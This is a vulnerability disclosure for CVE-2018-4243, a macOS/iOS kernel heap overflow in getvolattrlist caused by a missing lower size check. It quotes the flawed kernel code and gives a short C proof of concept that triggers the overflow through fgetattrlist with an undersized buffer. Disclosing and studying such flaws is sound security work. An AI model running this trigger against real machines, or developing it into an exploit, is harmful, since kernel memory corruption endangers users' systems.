MacOS/iOS kernel heap overflow due to lack of lower size check in getvolattrlist(CVE-2018-4243)

// ianbeer #if 0 MacOS/iOS kernel heap overflow due to lack of lower size check in getvolattrlist getvolattrlist takes a user controlled bufferSize argument via the fgetattrlist syscall. When allocating a kernel buffer to serialize the attr list to there's the following comment: /* * Allocate a target buffer for attribute results. * Note that since we won't ever copy out more than the caller requested, * we never need to allocate more than they offer. */ ab.allocated = ulmin(bufferSize, fixedsize + varsize); if (ab.allocated > ATTR_MAX_BUFFER) { error = ENOMEM; VFS_DEBUG(ctx, vp, "ATTRLIST - ERROR: buffer size too large (%d limit %d)", ab.allocated, ATTR_MAX_BUFFER); goto out; } MALLOC(ab.base, char *, ab.allocated, M_TEMP, M_ZERO | M_WAITOK); The problem is that the code doesn't then correctly handle the case when the user supplied buffer size is smaller that the requested header size. If we pass ATTR_CMN_RETURNED_ATTRS we'll hit the following code: /* Return attribute set output if requested. */ if (return_valid) { ab.actual.commonattr |= ATTR_CMN_RETURNED_ATTRS; if (pack_invalid) { /* Only report the attributes that are valid */ ab.actual.commonattr &= ab.valid.commonattr; ab.actual.volattr &= ab.valid.volattr; } bcopy(&ab.actual, ab.base + sizeof(uint32_t), sizeof (ab.actual)); } There's no check that the allocated buffer is big enough to hold at least that. Tested on MacOS 10.13.4 (17E199) #endif #include <stdio.h> #include <stdlib.h> #include <fcntl.h> #include <unistd.h> #include <sys/attr.h> int main() { int fd = open("/", O_RDONLY); if (fd == -1) { perror("unable to open fs root\n"); return 0; } struct attrlist al = {0}; al.bitmapcount = ATTR_BIT_MAP_COUNT; al.volattr = 0xfff; al.commonattr = ATTR_CMN_RETURNED_ATTRS; size_t attrBufSize = 16; void* attrBuf = malloc(attrBufSize); int options = 0; int err = fgetattrlist(fd, &al, attrBuf, attrBufSize, options); printf("err: %d\n", err); return 0; }